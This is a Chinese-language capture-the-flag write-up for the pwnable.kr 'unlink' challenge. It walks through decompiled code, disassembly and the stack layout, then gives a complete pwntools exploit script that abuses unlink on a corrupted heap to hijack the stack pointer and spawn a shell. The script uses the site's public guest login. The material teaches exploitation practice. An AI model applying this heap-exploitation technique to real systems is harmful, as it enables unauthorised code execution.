这道题展示了unlink的利用

```
5   _DWORD *v6; // [esp+Ch] [ebp-Ch]
6
7   malloc(0x400u);
8   v4 = (char *)malloc(0x10u);
9   v6 = malloc(0x10u);
10  v5 = malloc(0x10u);
11  *(_DWORD *)v4 = v6;
12  v6[1] = v4;
13  *v6 = v5;
14  v5[1] = v6;
15  printf("here is stack address leak: %p\n", &v4);
16  printf("here is heap address leak: %p\n", v4);
17  puts("now that you have leaks, get shell!");
18  gets(v4 + 8);
19  unlink(v6);
20  return 0;
21 }
```

题目告诉了你v4的指针（栈地址）和v4本身所在的值

分析攻击手段。此时unlink后就直接结束了，没有其他的操作，可以肯定，一定是通过unlink修改了栈上的返回地址来实现get shell的

```
call    _printf
add     esp, 10h
sub     esp, 0Ch
push    offset s        ; "now that you have leaks, get shell!"
call    _puts
add     esp, 10h
mov     eax, [ebp+var_14]
add     eax, 8
sub     esp, 0Ch
push    eax             ; s
call    _gets
add     esp, 10h
sub     esp, 0Ch
push    [ebp+var_C]
call    unlink
add     esp, 10h
mov     eax, 0
mov     ecx, [ebp+var_4]
leave
lea     esp, [ecx-4]
retn
; } // starts at 804852F
main endp
```

看到unlink函数调用后，后面还有一些操作，总的来说是，取ebp+var_4的值放入ecx，然后取ecx-4放入

esp

那么我们要攻击的点应该是ebp+var_4

```
-00000014 var_14          dd ?
-00000010 var_10          dd ?
-0000000C var_C           dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
```

可以看到栈上的分布。

```
from pwn import *
#from LibcSearcher import *
#from pwnlib.adb.adb import shell

context(arch='amd64',os='linux',log_level='info')
sh = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
io = sh.process('./unlink')

shell_addr = 0x80484EB
io.recvuntil('here is stack address leak: ')
stack_addr = int(io.recv(10),16)
print("stack_addr:"+hex(stack_addr))
io.recvuntil("here is heap address leak: ")
heap_addr = int(io.recv(9),16)
print("heap_addr:"+hex(heap_addr))

io.recvuntil("now that you have leaks, get shell!")
payload = p32(shell_addr)+'a'*12+p32(heap_addr+0x8+0x4)+p32(stack_addr+0x10)
io.sendline(payload)
io.interactive()
```